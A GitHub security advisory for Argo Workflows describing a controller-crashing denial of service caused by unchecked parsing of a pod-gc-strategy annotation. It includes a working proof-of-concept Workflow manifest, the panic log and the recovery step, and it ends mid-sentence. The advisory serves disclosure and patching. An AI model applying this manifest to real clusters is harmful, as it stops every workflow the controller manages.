GitHub Security Advisory: GHSA-5jv8-h7qh-rf5p
Package: github.com/argoproj/argo-workflows/v3 (GO)
Severity: HIGH (CVSS 7.7)
CWE: CWE-129: Improper Validation of Array Index
Vulnerable versions: >= 3.6.5, <= 3.6.19
Patched in: unpatched

Summary: Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller

Details:
### Summary

An unchecked array index in the pod informer's `podGCFromPod()` function causes a controller-wide panic when a workflow pod carries a malformed `workflows.argoproj.io/pod-gc-strategy` annotation. Because the panic occurs inside an informer goroutine (outside the controller's `recover()` scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.

### Details

`podGCFromPod()` splits the annotation value on "/" and unconditionally accesses `parts[1]`:

```go
func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {
    if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {
        parts := strings.Split(val, "/")
        return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}
    }
    return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}
}
```

If the annotation value contains no "/", `parts` has length 1 and `parts[1]` panics with index out of range.

The code was introduced in [#14129](https://github.com/argoproj/argo-workflows/issues/14129) and  affects versions:

  - 3.6.x: v3.6.5 through v3.6.19 (backport in [#14263](https://github.com/argoproj/argo-workflows/issues/14263))
  - 3.7.x: v3.7.0-rc1 through v3.7.12
  - 4.x: v4.0.0-rc1 through v4.0.3
  - Not affected: v3.6.4 and earlier

### PoC

Apply this workflow to a cluster running the Argo Workflows controller:

```bash
kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  name: crash-podgc
spec:
  entrypoint: main
  serviceAccountName: default
  podGC:
    strategy: OnPodCompletion
  podMetadata:
    annotations:
      workflows.argoproj.io/pod-gc-strategy: "NoSlash"
  templates:
    - name: main
      container:
        image: alpine:3.18
        command: [echo, "hello"]
EOF
```

Within seconds the controller crashes. The controller pod will show `CrashLoopBackOff` with increasing restart count. Controller logs show:

```
panic: runtime error: index out of range [1] with length 1

goroutine 291 [running]:
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246
```

Recovery requires deleting the poisoned workflow:

```
kubectl delete workflow -n argo crash-podgc
```

### Impact

Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controlle